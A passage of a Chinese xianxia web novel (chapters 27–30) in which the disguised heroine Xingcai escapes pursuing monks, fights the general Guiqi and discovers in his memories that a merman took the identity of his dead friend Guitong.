惊雷收回佛珠，目光盯在荇菜的脚踝。惊蛰的佛珠气息就是从那处传来。
他眼见荇菜缩脚，吼道：“妖女，你杀了我同门师弟。”
“胡说八道。我一个醉花楼的丫鬟，连和尚都没见过，杀什么和尚。”荇菜飘飞而下，看向围笼过来的百姓，高声道，“大伙听听，大家都知道醉花楼是什么地儿，能见过和尚吗？”
“不能。哈哈哈……”
“和尚去醉花楼，怕是披件假和尚皮。”
……
惊雷环顾指点的围观众人，气怒道：“她的脚上
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挂得就是我师兄的遗物。”
“胡说八道。”荇菜咬牙，想起火云子和惊蛰对话时提过的惊雷师兄。
惊雷与惊蛰的关系甚好。惊蛰不明原因失踪，惊雷必定来寻。
黑羽说火云子他们认为是蝠妖杀死惊蛰。
荇菜当时就说：若火云子等人降服得了蝠妖，就不可能相信蝠妖可以杀死惊蛰。
果然，事情发酵到现在，终于引来惊雷等人。
脚踝上是黑羽打造的雕羽镯，其中一只铃铛里的珠子是惊蛰的佛珠。
“你一个和尚要看姑娘家的脚踝，六根未净，你是想还俗娶亲？你倒是先还俗啊。”路人看热闹不嫌事大，拱火道。
荇菜重重地点头，听到旁边有人喊“绿萝”，扑过去抱住服饰华贵的大妈，嘤嘤道：“婶婶，他们欺负人，你帮我说道说道。”
“好，婶婶帮你。”这“婶婶”也不怕和尚，走入场中，傲气道，“高昌国的和尚入我们山泽国可有文牒？”
惊雷以为出来个明事理，道声佛号：“自然。”一旁的弟子拿出文牒递给妇人。
妇人看过后一把就撕烂文牒。四周安静下来，都是看好戏的眼神。
她看向怒目圆睁的和尚，哼笑道：“绿萝是我看着长大的姑娘，从未离开过我们青山城。绿萝，过来。”
荇菜莞尔：这是暴露了。不过这位婶婶很有意思啊。她也不怕婶婶作妖，蹦跳上前，勾住婶婶的手腕。
妇人摆正荇菜的脸，给愠怒的惊雷瞧：“你看清楚，她与你画像上的人一点儿都不像。大家伙，你们说说，这是不是醉花楼里的绿萝？”
“是啊。这就是绿萝姑娘。”
鬼晓得绿萝长什么样，自家山城的人自家护嘛。
人群里因这想法，纷纷承认这是绿萝姑娘。
人群后的绿萝刚要大喊，被身旁的小姐捂住嘴巴。
两人退出人群，小姐给绿萝带上面纱，低声道：“花娘在办事，休得坏了她的好事，不然她剥掉你的一层皮。
走吧，我们先回去。”
两人离开热闹，向醉花楼去。
人群里，惊雷的双掌生出烈火，直向荇菜攻去。
惊蛰生死不明，无论如何都不能放过妖女。
火云子从人群中钻出，挡在惊雷的身前，躬身道：“惊雷师兄，不可伤人。我与施主同行数日，知她不是恶人，请先让师弟问询一二。”
惊雷熄灭双手火法，怒目看向荇菜：“你不是修六神通，给我好好看看她是何妖孽幻化。”
荇菜垂目走来的小和尚，一颗心生出难以说清的愧疚。
花娘老道，狠狠地掐把荇菜的手臂，对上荇菜朦胧的眼神，低声道：“绿萝，想清楚，生死不过一念。”
荇菜眨眼，压下泛上的酸涩。
“施主，当日赠我半张饼，火云子在此谢过施主。”火云子躬身行礼，口唤佛偈。
花娘呵了声，打断道：“好家伙，上来就下套，当我花娘在青山城是享福长大呢？绿萝，这等欺世盗名的和尚，别理他们。咱们真有饼子，也不施舍给这等人。走，回楼。”
27. 第 27 章
荇菜被花娘拉着穿过拥挤的人群，径直离去。
她与火云子明澈的眼神对上，瞬间垂落目光，回头向前。有些事已经发生，回不去。
惊雷上前，被火云子拦下：“就这么放她走？”
“师兄。施主不是恶人。何况，事情还未明了，岂能当街伤人？”火云子轻声道。
惊蛰的失踪是火云子心里的伤。他打坐时常出现幻觉，后悔当夜没有早点醒来。雷火寺僧众找惊蛰月余，主持得高昌国师的指点，寻惊蛰残留的佛法气息追踪至此，遇上故人。
然而，惊蛰与故人间究竟怎么回事，大家伙都不清楚。
“既然确定是她，何不拿下她再审？若她不是恶人，怎会当街不认你？分明就是她害惊蛰下落不明。无论如何，她要给雷火寺一个说法。”惊雷执意道。
火云子环顾四周指点的人群，喊声佛偈：“阿弥陀佛，惊雷师兄，我们去城外等她。她是漂泊人，总要离开这方山城。”说完，率先向城外去。
惊雷见围观的人群不散，且有挡道轰人的架势，气得甩下僧袍，带余下的和尚们离开。
荇菜被花娘带入醉花楼，面对真正的绿萝没什么不好意思。
她接过小丫鬟手上的茶盏，喝了一口，放松紧绷的精神。
绿萝上上下下地打量荇菜，除开衣衫连容貌都相似，遑论散发的气质和气息，像是一比一复刻还原的姐妹。
若不是荇菜点头承认易容，还以为亲娘又给她生个姐妹。
花娘挥退好奇的绿萝，含笑道：“姑娘，秃驴都是固执人。咱们青山城有两条道，一条直达山泽都城，另一条是走水路，通往水泽乡。水泽乡缥缈，渔民们一年去三回，今年不会再出船远行。”
“这么说，我只有一条路离开青山城。这条路正好被和尚们堵着。花娘要告诉我，若我想要离开山城，花娘有办法。只不过，这个办法不是平白无故送给我。”
“漂亮。迄今为止，如姑娘这般洞悉人心的女子，花娘只见过一位。”
荇菜轻笑，又喝口花茶：“花娘是想说那个人是你自己。”
“哈哈哈……与聪明人谈话就是爽快。花娘送你离开青山城，避开秃驴。姑娘帮花娘招待一位客人，如何？”
“你连我的真实样貌都未见，就认为我可以招待你的客人？呵，什么人啊？”荇菜颇觉好笑，又非常好奇。
“姑娘聪慧，又懂顶级的易容术，容貌定不会差。凭姑娘得这手本事，拿得下这位客人。姑娘不妨再猜猜他是谁？”
荇菜哼笑：下套查我底细。
“我不答应呢？”
“姑娘不会不答应。花娘观姑娘的本事、神态，对姑娘的出身有几分猜测。”
对手不接茬，就直接上。花娘笑道，“欧丝国皇室同它本国内的合欢宗合作，培养各类出色的女子，专门送给它国皇室做妃嫔、夫人。
姑娘的身段、仪态，比我醉花楼里的头牌都要出色。姑娘惹上十方山寺的和尚，被人喊妖女，定是合欢宗人。
既然是合欢宗的女子，又有什么理由拒绝花娘的提议？”
“好一个合欢宗。”荇菜哈哈，冷凝道，“合欢宗，也不是什么人都瞧得上。”
“山泽大将军，鬼泣。姑娘可愿意招待他？”花娘的脸色像是定住，等待荇菜做出反应。在她的认知里，合欢宗出门在外修行的女子少有拒绝这样的买卖。鬼泣，传闻他是金丹剑修。
【鬼泣？没听过。】
荇菜凝眸，眼泛紫波：“鬼泣是什么人？”
“师姐不必用惑术欺负花娘。师妹来说吧。”
绿萝陪侍的小姐拂开珠帘入厅，舌转若莺啼，缓缓道，“花娘，下去吧。”
“是。”花娘的神色放空，起身行礼后掀帘出去。她虽有野心，却终究是普通人，斗不过修士。
“驭音术？”荇菜勾唇嗤笑，“破我的惑术，却用上音术。”
“合欢宗弟子的言惑术。绿萝，你也下去。”小姐向荇菜行礼，“师妹名唤水玲珑，花容长老座下弟子，见过这位师姐。
敢问师姐名讳，又是门中哪位长辈门下？”
荇菜的本意是不再回合欢宗。
但是，人人唤她妖女，若不回宗门，接下来的路将很难走。此一时彼一时，如今的合欢宗兴许是一道护身符。
只是，花涟的存在是一个定时炸弹，回宗就得对上花涟。
按禾诗逸的话讲，力量至强，何惧花涟？
在回合欢宗前，必须寻到足够的黄椒分身，将修为彻底固缚在金丹后期，乃至元婴，达到禾诗逸那般的水平，能稳压朱琴天一头，也不再怕花涟。
“金莲，花涟长老座下小弟子。”荇菜思量后答道。
“原来是鼎鼎大名的花涟长老啊，听说他是合欢宗最洁的长老。嘻嘻……幸会。”水玲珑捂嘴发笑，看荇菜的眼神亲切几分。
荇菜不明所以。
在金莲的记忆里，花涟的脸是模糊不清的，更遑论对花涟的了解，都是听别人说他的事后拼凑出的印象。
水玲珑回归话题：“鬼泣是山泽国的大将军。近来西塔国和山泽国为边境西山矿藏一事准备交战。
天龙道派下使者欲要说和两国，不生战事。但是，大将军鬼泣主张动武，在朝中有一帮主战派的拥趸者。
山泽大皇子崔窅是淑妃所生，没有成为下一任继承者的可能。他为拉拢天龙道，私下发悬赏令对付鬼泣。”
“听你分析，大皇子理应拉拢鬼泣才对，怎么站到大将军的反面？”
水玲珑的眼神微微发亮，入座后斟茶，送到荇菜的面前。
“这里涉及一桩皇室密辛。
山泽国皇室信奉山神、水神。然而，双神不睦，不在同日开光。遂而，山泽国内不能降生双生子，否则必发水患，倾山蹈湖，国将不稳。
皇后诞下双生子，太子崔洧，次子被秘密处决，少有人知晓。
实际上，次子未死，化名鬼童，送入青虞宗学艺。
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如今，这鬼童就是鬼泣，堂堂的山泽国大将军，真实名讳：崔赜。”
“师妹知道的密事真不少，这么说师妹接下悬赏令？”
水玲珑缓缓地摇头：“花娘有一句话说对，欧丝国皇室与合欢宗合作，送不少女子入别国皇室探听消息，以免十国生乱后不能即时得知敌方的消息。
小国寡民，大国难烹，皇室都是在为日后做准备。”
“嗯？天龙道……”
“各国上层传闻，道祖天尊……”水玲珑手指上苍，低声道，“不日飞升。一旦他离去，八宗已成气候，皇室已养精蓄锐，天下岂有不乱的道理？”
荇菜张口无言：修真界竟然藏这么大一枚炸弹。道祖天尊投放分身入世，真是因为修炼吗？若他飞升，天下真得会大乱？
水玲珑喝口茶，放下茶盏，言道：“我等这类……自生自灭的合欢宗弟子行走天下，为得不就是别人体内那点货。
少食多餐才不得罪人。遂而，在花娘这里，师妹是保守派。花娘接下悬赏令，却不认为我能成事，一直琢磨找人做此事。
师姐在大街上易容成她的人，显露本领，遭她的惦记。”
“原来是这样。”荇菜明白个中原委，转眸道，“花娘帮我是希望我招待鬼泣，用合欢功法废掉他，完成悬赏令。”
“不错。师姐，我希望你不要接下此事。”
“为何？”荇菜打量水玲珑：身段婉约，玲珑有致。容色娇媚，五官分明有神，大美人。而且，水玲珑非常聪明，更不贪，甚至知道贪多嚼不烂的道理。在合欢宗是非常难能可贵的资质。因为便宜得来的力量往往诱惑很大。诱惑越大，越难以把持。
“合欢宗虽行采补之事，大多你情我愿，少有霸女硬上箭。若不如此，合欢宗也成不了八大宗之一。
传闻鬼泣面带鬼哭脸，除山泽国主，无人见过他的真容。
试想，两人坦诚相对，露出一张丑到难以下口的脸，岂不倒胃口。吸出的灵力是融还是弃？
此外，鬼泣已是金丹修士，拜师于山泽青虞宗，习的剑法乃是金系，异常霸道。
他的灵力含有金箭一般的锐气，一旦入体犹如万箭在经脉奔腾，实不好受。
还有，我在山泽国行走多年，从未听鬼泣钦慕什么人。传言他走得是杀亲证道路，霸道无情，不得人喜爱……”
若不是禾诗逸解释过青虞宗的剑道法门，差点就信这姑娘。
荇菜好笑地听她解说一二三四点，等她停下，才道：“你和他有什么交集？或者说，你喜欢上他，不希望别人害他。”
“不不不……怎么可能……”水玲珑的面色漫上红霞，显是被荇菜猜中。
“若你不说清楚，花娘不找我也会找别人。你可考虑清楚啊。适才，你说鬼泣的灵力属于金系，入体犹如万箭奔腾……呵，你试过？”
更遑论鬼泣的容貌，他与太子是双生子，能做一国太子，外表定不会差到不能见人。同为双生子的鬼泣容貌不会太差。
28. 第 28 章
水玲珑的眼神狠狠地跳下，羞道：“初来山泽国时，蒙大将军搭救，吸一口他的灵力。当时，体内经脉如被剑刺，痛苦万分。他手下留情，吸出剑气灵力，这才活下来。”
“哦哦……原来英雄救美，你看上他，大可接下花娘的差事啊，兴许能保他一命。”
“不，鬼泣不需要人保，我是在救师姐的性命。”水玲珑款走两步，扑来一阵香风，近前后肃容道，“他不耽女色，不会收美人入帐下。”
荇菜听她这话就闹不明白水玲珑究竟是怎么个打算，揣度道：“你……既想帮他，又不想旁人沾他，甚至连你自己都不打算碰他？”
“是。我走不进他的心，自然不希望别人走近他。所以，我劝师姐放弃。师姐要离开青山城，多得是别的办法。
晚间，鬼泣入城，我会与他说清楚悬赏令的事，请他送师姐出城。”水玲珑诚恳道。
荇菜莞尔，歪头道：“你确定他会听你说，不会听过悬赏令后一剑杀你？对了，他来青山城，入这醉花楼做什么？”
“此次渔民出船，在水泽乡里捉到一条鲛人鱼，上报给城主。城主传信给都城，国主派大将军前来押解鲛人鱼。城主会在醉花楼宴请大将军。”
说完这话，水玲珑噗嗤笑出声，“渔民昏了头。若水泽乡真有鲛人，也应该在羽民国境内的水乡，成年鲛人在的地方是羽民国皇室的后花园，专出爱妾。”
“这都什么封建定义。等等……鲛人鱼！？”
荇菜想起上岸后在渔民家里住两天的经历。
打渔船靠岸后，荇菜准备下船离开，被热情的渔民拉着不让走。
渔民家的妇人招待她两天，时不时送上活蹦乱跳的小鱼食做正餐。荇菜拒绝好几次，义正严词说吃人类食物。期间，有位贵气的胖老头上渔民家，上下审视翻荇菜，摸胡子走掉。
荇菜觉出事情蹊跷，用驭音术问大娘。
大娘迷瞪地说：“姑娘是鲛人，留着发财。”
荇菜这才觉出大事不妙，不告而别，溜进青山城。
【那位黑胡子胖老头不会就是青山城主吧？】
“亏我意识到不对劲跑得快，不然……”荇菜抚摸脸颊，怪异道，“这张脸现在有这么大的杀伤力？”
水玲珑听得云里雾里，抬手御灵，试图抹去荇菜假扮绿萝的易容，发现抹不掉。
她好奇道：“师姐用得什么易容膏，这般持久贴面？”
“呃，师门秘法，不便外道。”荇菜起身，莞尔道，“师妹有心帮师姐，师姐在此谢过。我假扮成师妹的丫鬟绿萝，拜托师妹说服大将军送我出城。”
好过直面火云子，一边是愧疚，一边又觉得惊蛰根本没死，一笔糊涂账。
水玲珑颔首，轻呼口气，总算搞定这位本事不凡的师姐。
她领荇菜进寝室，稍作休息。
晚间，花娘领一位大腹便便的老爷、戴鬼哭面具的鬼泣大将军及几名侍卫进楼。
青山城主有些心不在焉，还没把“鲛人”逃走一事告知鬼泣，打算在酒桌上说，一路敬小慎微地陪着客人上楼。
入席后，水玲珑在纱帐中弹琵琶，叮叮当当，像是大珠小珠落玉盘。荇菜假扮成绿萝发呆，时不时看眼青山城主抹汗套近乎的窘态。
“你说根本没有美人鱼？”张牙舞爪的鬼哭面具配上低沉的嗓音，杀伤力十足。
青山城主诚惶诚恐地跪下：“大将军，渔民本是捉到一名绝色美人，我观她容颜倾城，难得的美人，打算进献给国主。
不成想，这姑娘察觉到不对劲，偷偷逃走。如今，我已经把渔民和妇人拿下，交给大将军发落。请大将军帮忙同太子解释清楚。
另外，醉花楼的水玲珑姑娘色艺双绝……”
水玲珑搁下琵琶，与荇菜的目光相触，掀纱帐入内。
青山城主忙不迭起身，捏在水玲珑的下巴处，朝鬼泣道：“大将军，请看，水玲珑姑娘是我青山城绝色，不比淑妃娘娘差。以她的姿色做容颜出色的女鲛人足矣。”
水玲珑撅下巴，挣脱青山城主的肥手，向鬼泣款款行礼，神情难掩激动：“大将军，别来无恙。”
鬼泣冷哼，冷峻的目光从水玲珑移向跪地的青山城主：“好大的胆子，鲛人是鲛人，人就是人。你谎报祥瑞，又用庸脂俗粉糊弄本将军。来人，拿下他。”
侍卫快步入内，拖起鬼哭狼嚎的青山城主下楼。
荇菜暗暗挑眉，扶起如蔷薇发颤的水玲珑：这姑娘气到浑身发颤还在行礼，真不知道她是什么心态。咱们就不该惯这种眼高于顶、嘴巴还不干净的男人。
水玲珑挣出荇菜的手腕，暗瞪双眸，眼里是压不住的委屈，依旧固执地屈膝弯腰。
鬼泣的目光从水玲珑移向站直的荇菜，突然道：“逃走的‘美人鱼’是你？”
水玲珑惊讶地张大眼睛，起身道：“大将军，不是她。”
鬼泣的冷眼直戳水玲珑：“当日救你，你却想要吸本将军的灵力。本将军大肚不追究，还放过你，你竟还敢送上门。”
水玲珑惊讶地张大口，慌忙向一旁的荇菜求助。
这一刻，她已经从美好的相逢幻想中挣脱，认识到现实的残酷。
荇菜摸鼻子：现实和想象间就是这么骨感。鬼泣大将军是真无情，他的出身逼他修无情道都说得过去，人家可能真在准备杀亲友证道。
“不是，将军，当日我是不慎……”水玲珑试图挣扎。
“吸就吸了，合欢宗弟子为得不就是别人体内那点货。”荇菜把水玲珑挡在身后，将她白日的话说出来。
“不是……师姐……”水玲珑跺脚：怎么能把真话说出来呢？
荇菜给她一个放心的眼神。水玲珑越发不放心，急得面色绯红，掉下泪珠。
荇菜觉得好笑，朝鬼泣冷笑：“近来不少人夸我聪明。那么，我来看看你是不是聪明人，知道悬赏令吗？”
“呵，崔窅不入流的把戏，以为凭几个合欢女子就能要我的命？
一个练气后期，一
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个筑基后期，还是被十方山追杀的妖女，能从本将军这得到什么？”
荇菜听他傲娇鬼脸吐出不屑的言辞，十分不爽。
她凝眸道：“我可以帮你对付天龙道，助你与西塔国开战。”
鬼泣瞬移至前，出手掐向荇菜的脖子。
荇菜飞身后退，鞋尖点梁柱，绕到酒桌的后方。
鬼泣再次袭来，她破窗下大堂。鬼泣抚栏飞落，瞧出她的身法有些故人的影子，沉声道：“水舞烟华诀？”
“如梦烟。”荇菜落在大堂的舞台，居高俯视落地的鬼泣，“在同一个冰窟悟道，身法有些相似处，不足为奇。”
【老娘把后台都亮给你，知道坐下来和谈吧？】
这话不仅没有让鬼泣动容，直接引发他的杀意。
“妖女盗取青虞宗身法，还敢大言不惭。”鬼泣纵身掠去，出手生风，迅如猎鹰抓鸡。
水玲珑在雅阁上摄取琵琶，一道音波直袭鬼泣，大声道：“师姐快走。我拦下他。”
荇菜有些诧异，前一刻水玲珑对鬼泣充满期待爱慕，现下就决绝动手，这感情像是如六月的天，说变就变。
“一个人对付不了他……”
荇菜飘到水玲珑的旁边，拉她一起走。水玲珑绕到荇菜的前面，独自面对袭来的鬼泣。
“哎……你不要命啦？”荇菜诧异道。
水玲珑头也不回：“师姐助我……”手中琵琶如剑裂帛，惑音穿堂，直入鬼泣两耳。
荇菜理过神，在她身后运灵入眸，眼泛紫波。一心两用，扬手绕灵，囫囵吞枣学来的法术凝出一出一股水线，缠住鬼泣右脚。
鬼泣的双眼瞬间大张，心神一岔，覆耳的灵力屏障出现破绽，琵琶惑音穿耳，心神被彻底震松散，人也被水流拉坠落地。
十年前，鬼泣还在青虞宗习剑，人人都有父母，独他没有。
山泽太子崔洧找上门，鬼泣才知道自己有一个兄弟和一个像人一般的名字：崔赜。
过往的阴暗面如附骨之疽从身体各处泛滥扩散，压得鬼泣几近喘不过气。但是，鬼泣很快清醒，阴恻恻道：“你们……该死。”
不属于他应有的记忆纷至而生，让他记起曾经最为残忍血腥的一幕。
鬼泣的双眼泛出金芒，周身萦绕金属性灵力，锋芒割裂一切被卷入气场范围的东西。
水玲珑一把按住琵琶弦，惊惧道：“师姐，他入魔了。”
“又入魔？他的心魔是什么……”
“我的惑音不可能勾起他的心魔，最多阻他一瞬。师姐，应该是你的眼瞳惑术勾出他的心魔。你再试试，探明他的心魔，以此攻击他。”
“怎么探啊？我不知道啊。”荇菜拉上水玲珑，飘出金气的攻击范围，“怎么回事，金气剑芒竟有禾诗逸水系的感觉。”
“师姐小心，他凝剑了。”水玲珑焦急道。
鬼泣旋手，数把金气剑芒环绕成型，直追杀两人。
他眼含杀意，冷峻肃声：“给我死。”
29. 第 29 章
“我的天……摧枯拉朽啊。”荇菜把水玲珑往柱后一抛，引金气剑芒追至，双足一荡，鞋袜俱成碎屑，露出白皙双足上的晶莹雕羽镯。镯子发出一阵妖力屏障，阻挡剑气切肤割肉。
荇菜趁机运灵力入镯，铃声轻响，带出清宁佛音，再次阻挡鬼泣。
柱子后的水玲珑心下一横，咬牙祭出花容师父给的保命合欢丹，直接投向被佛音震住的鬼泣。
荇菜攀梁绕柱，把没有主人指挥的金芒剑气消耗。
她刚落地，被水玲珑拉住：“怎么？”
“他被药住了，我们快走。”水玲珑赶紧道。
荇菜与她一起穿过大堂，从后门跃墙离去。
醉花楼外已过黄昏，天色朦胧，街头热闹声远远传来。
水玲珑掠过醉花楼后墙，边道：“我们勾出对方的心魔，用神识入侵对方的额心神门，可窥见心魔内容。”
荇菜游步上前，飘落高墙，上街道。
“原来是这样。不对，我们这么走不行，等他反应过来，我们还是逃不掉，应该趁现在先下手为强。”
水玲珑急刹车，眨眼道：“师姐说得没错，我去吧。”
“哎！？”荇菜回身去拉，水玲珑已经掠回醉花楼后院，直奔鬼泣。
她摇下头，轻嘿了声，“这丫头……爱得是他的一身灵力吧。”
不过三息，水玲珑被飞出醉花楼，失措惊叫：“师姐，救我。”
“这么快？”荇菜纵身而起，揽在她的腰下，旋身就逃。
背后如锋般的剑气直袭而来，她知躲不开这一剑，扬手一推一送，学禾诗逸把水玲珑送出这片街墙，“快走。”
荇菜在半空被剑气贯穿心口，横身翻转，被钢铁般的五指狠狠地掐进肩头。
眨眼功法，空间置换，入一处漂浮幽暗红灯的楼阁，乃是鬼泣的蜃珠洞天。
纱帐飘影，在暗红灯笼的照拂下，似置身古屋鬼地。
“你在哪？这是什么地方？”荇菜察觉体内的《玉石还阳功》正在夺取丹田灵力、修复心脏的伤口，又惊又喜，防备地拂开纱帘，试图离开这鬼气森森的地方。
【境界正在掉落，得寻办法解决。】
鬼泣赤红双眸，瞬移至荇菜的身后，一把抓在荇菜裙后衣领。
荇菜用力向前，但闻嘶啦一声，明翠的裙衫飞屑，后背顿感寒凉。心生怒气，她翻身后转，抓住肩上零碎的薄衫，横脚回踢过去。
鬼泣疏忽后退，又躲回层层纱幔之后。
荇菜生出一丝怪异感，心中的怒火越来越高。“常人说色鬼，你这鬼不会只有色心，没有色胆吧？装神弄鬼演聊斋，出来。”
漂浮的红灯照影，露出一道右鬓眉尾的红旋，惊的荇菜手脚一凉。
“是……”分身。
荇菜大张双眸，精神高度集中。
察觉周遭的灵力波动，准备就绪的神识侵入再次袭来的鬼泣的额心神门。
鬼泣的动作一顿，伸在半空的手生生握成拳。
他的眼底一片热血嫣红，神智闯入一片旋涡水流。
鬼泣的识海幻境里，荇菜身处水底，前方正在发生水龙卷。一名稚童从天而降，被水龙卷盘绕拉往水底，生死就在顷刻。
她想也不想就游过去，试图救落水的孩童。
手从稚童的虚影上穿过，无法完成救人的动作。荇菜诧异地翻看手掌，了然道：这是识海，鬼泣的识海心魔。
远处游来道黑影，托起溺水的稚童，摇摆青金色的鱼尾脱离水龙卷。青金色的鲛人浮上水面，暴露在日光下，照出五彩斑斓的鱼身鳞片。
荇菜抽着眼角，震惊道：“这……真有鲛人鱼，长得古里古怪，怪小一只。”
沙滩上，小鲛人化掉如鳍的双耳，手掌薄蹼蜕化成手指，鱼尾分叉成人足，成为人类八岁稚童的模样。
不过，这名孩童的右鬓眉尾生一道红旋，既突兀又奇怪，脸面的两侧各留下一条嫣红细线，同嘴一样，敞开呼吸，露出细密的利齿。
这是一名道行还浅，正在成长中的鲛人幼童。
鲛童拖着溺水的稚童上岸。他摇晃稚童，试图救他。
荇菜环顾熟悉的环境，正是在川江渊的边上，青虞宗的地界。结合鬼泣的人生经历，溺水的人类孩童有可能就是鬼泣。
她走上前，低声道：“时间太长，即使心肺复苏都不一定成功，何况你还不会。小鲛童，你尽力了。”
话音刚落，荇菜回过味：不对，若鬼泣死在这，现实里又怎么可能有成年鬼泣？”
鲛童听不到她的话，急切地低头触碰鬼童的额心。
额心浮出一颗透明的珠子，正是鲛人内丹，晶莹如珠，可幻化、惑人。
鲛丹的力量救活鬼童，吸走他体内多余的水份，治好他的伤。
鬼童醒后非常兴奋，拉住鲛童：“我在偷学御剑飞行，掉进水里竟然没死，哈哈哈……你救了我，谢谢你。他们都叫我鬼童，你叫什么？”
“啊……”鲛童发声，没能说出人语。
鬼童等好一会，恍然道：“鲛童，你就叫鲛童。我是鬼童，你是鲛童，哈哈哈……”
懵懂的小鲛人被鬼童的笑声感染，也露出笑意。他的两颊鱼鳃开缝，笑得颇有些诡异。
但是，这不妨害两个年龄相仿的男孩就此成为朋友。
荇菜轻呼口气：果然，鬼泣不可能死在这。这是鬼泣的识海，他的心魔是什么？现在的场面有惊无险，怎么会成为心魔呢？
鲛童才是道祖天尊的分身……不对，现实里的鬼泣有这道眉尾红旋……现在的鬼泣是曾经的鲛童？两人互换了身份？
识海内的风云变幻，掀起滔天水浪。
时间倏忽过去，鬼童和鲛童成为无话不谈的朋友，从七八岁一直相伴到十五六岁。
这日，鬼童到岸边，对水里的鲛童说：“鲛儿，师姐要过生日。我想送她一件世上独一无二的宝贝，让她永远地记住我。
你说这世上有什么是独一无二呢？”
鲛童指指鬼童，温柔道：“你……啊。”
“我？怎么可能啊。我没爹娘，只你一个朋友。山门里的大人物也不愿收我为徒，那些
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人私下说我是鬼怪投胎，应了鬼童的名字。
我是没人收的鬼，怎么可能独一无二呢？”
鲛童化出双腿，上岸后抱住鬼童：“你，独一无二。太阳，一颗；月亮，一颗；你，一个。”
鬼童恍然，跳起来抱住鲛童，大笑道：“哈哈哈哈……你说得对，我就是独一无二，我要把自己送给师姐。
啊，怎么保存我自己呢？对了，鲛儿，你的鲛珠内丹呢？”
鲛童毫无城府地取出鲛人内丹，捧在掌心。
鬼童接过散发水浪气息的鲛丹，在珠光的映衬下，年轻张扬的五官透出一抹怪异的邪气，映在他漆黑双眸的眼底，显得极为邪恶。
“传闻鲛人内丹可以窥人心境，舜华即永恒。我看到了，它告诉我，我的选择是对的。我要把自己炼进鲛丹，再将它送给师姐。鲛儿，你愿意吗？”
鲛童想了一会才懂这几句话的意思，正要拒绝，鬼童又道：“鲛儿，此珠是你的内丹，极为重要。你是我的朋友，若你不愿意，我再另想它法。”
鲛童迟疑了。
鬼童没有父母，师门不怜，只有师姐偶尔照拂他一二。他对师姐的感情极为复杂，至青春期已经幻想成为爱情。
鲛童又何尝不是鲛人族里的异类，天生地养，被排出族外。他修炼比别人慢，幻化能力比别人弱，鲛人引以为傲的声音天赋，都是他的弱项。
鬼童见他迟疑，递还鲛丹。
鲛童推回去，死死地抵住，清澈的双眸直直地看向鬼童：“拿……去。”
鬼童咧大嘴，激动地说：“鲛儿，我知道结局。但我想要试一下，你等我，我是金灵根，有炼器天赋，给我半个月的时间就能完成它。你不是一直想要像人一样吗？作为回报，我送你一份大礼。”
“啊……鬼童。”鲛童紧追几步，鬼童已携带鲛丹飞掠而去。
感觉很复杂，失去鲛丹让鲛童惶恐不安，修炼越发慢。对鬼童的信任，“一份大礼”，又充满期待。
然而，时间折磨这份期待和友谊，半个月的时间过去得很快，在荇菜的视角里不过眨眼，但是，鬼童始终没有回来。
鲛童非常善良，在汪洋的水里一次次地探头观望，一次次地重建起对朋友的信任。
一直到五年后的同一天，鬼童终于来了。
荇菜握紧手，感觉非常不好。
等待的五年，或许是鲛童的心魔之一。他定然有过后悔救下鬼童的心历路程。
这日，青虞宗上空密布层层阴云，电闪雷鸣，犹如厉鬼降世。
鬼童已经长成一个男人的模样，步履蹒跚来到沙滩，朝汪洋水泽大喊：“鲛儿，你出来啊。”
鲛童沉默地走上岸，感应到鲛丹的存在，只是气息又不是那么纯。
他也已经是成年人的模样，眼神复杂地看向几乎快要认不出的男人：“鬼童……”
“鲛儿，久等了。历时五年，我终于成功了。你看它。”
鬼童取出晶莹剔透的鲛丹。如今已经不能说它仅是一颗鲛人内丹。它已经被炼制成一枚天地无二的蜃珠。
30. 第 30 章
蜃珠的内部已经被炼出空间。
鬼童把一座万年冰窟炼进蜃珠，冰雪的气息衬得整颗珠子阴寒森冷，却又晶莹剔透，缭绕一股蛊惑人心的力量。
“我死后，你把我放进蜃珠，请把它送给师姐。”
“我怎么……给她？”鲛童惊恐地望向几乎不再熟悉的鬼童，但他说出的话衔接五年前的后续，又是那么地自然。
“我说过要送你一份大礼。你羡慕人有双腿、身份、灵魂，我消失后，你带上我为你打造的鬼泣面具，你就是我。
你帮我把我送给师姐，从此后，你就是鬼童，或许你可以叫鬼泣，没人敢掀开你的面具，看到你脸上的怪异。
你瞧，我安排得多好。哈哈哈……”
“鬼童……”鲛童伸手拒绝，没能阻挡突然横剑自刎的鬼童。
鬼童含笑倒在沙滩，倒在曾经被鲛童救起的沙滩，鲜血染红沙子，被铺天盖地的大雨冲刷干净。
荇菜蹙眉走到嚎喊不止的鲛童身旁，抬起的手穿过鲛童的脸颊，触及眉尾的红旋，浮出一点金光。
她诧异地收回手，听到身后响起一道沉沉的轻笑。这声笑是那么的突兀，仿佛在高傲地藐视一切悲欢离合。
笑声的主人：“你就是他们口里的劫？罢，助你一程，又何妨。”
荇菜猛地回身，一道天光倏忽回天上，阴云重新占据光明，一切好似什么都没发生，又正在发生。
“刚刚……是谁？”他们……劫……一程？
鲛童口齿清晰、悲声喊道：“鬼童，我一定把它送给你的大师姐。”他戴上鬼泣的面具，手捧蜃珠前往青虞宗。
荇菜回神时，场景已经置换。
她第一次发现禾诗逸有这么不近人情的一面。事实上，当日禾诗逸对待瑶姬时也冷傲得很。
禾诗逸蹙眉注视鲛童手捧的蜃珠，嫌弃道：“扑面而来的一股鱼腥味。这玩意竟照出真实的我。知道我假，还照出来恶心我。”
嘀咕完的禾诗逸高傲冷淡地说，“谢谢小师弟的祝福，礼物留着自己玩吧。五年前的成人礼、生诞后，我就不再过生诞。你的面具倒是不错，很有个性。”
“阿逸……”荇菜穿过禾诗逸，目送她走远，“私下里真是自我得很。”
鲛童收紧掌心的蜃珠，低吟道：“鬼童，对不起。她没有收下。”
眼泪从鬼哭般的面具下滑落，一滴流进晶莹的蜃珠，浮出一张永远冰封在里面的含笑的脸。一滴落在荇菜的掌心，化为一颗晶莹的鲛珠。
“传闻鲛人的眼泪会变成珠子，原来是真的。”荇菜下意识捏紧掌心的鲛珠，无法评价这件事，只觉得被密不透风的窒息感包围。
这样的经历不成心魔，什么才能成为心魔？
“不是……我在同情他们什么？我找到心魔，又要怎么做？”
这一刻，荇菜无比深刻的认识到师门的重要性。
遗失的鲛珠让沉入心魔的鲛童察觉到外来者的入侵。
荇菜外放的灵识被一股无形的力量排斥，离开鲛童的识海。
幽暗的现实环境里，红灯的微芒照亮眼前的脸。
荇菜下意识伸手推开袭来的拳头，却被鲛童紧紧地环压抱住。
晶莹的鲛珠从掌心滑落，咕噜噜滚到一旁。
一个踉跄，两人跌滚在地。
“鲛童……”
荇菜的目光盯在他颊侧耳下至唇边的红线，比起眉尾的红旋更惹眼。
“鲛童……才是鬼泣。”
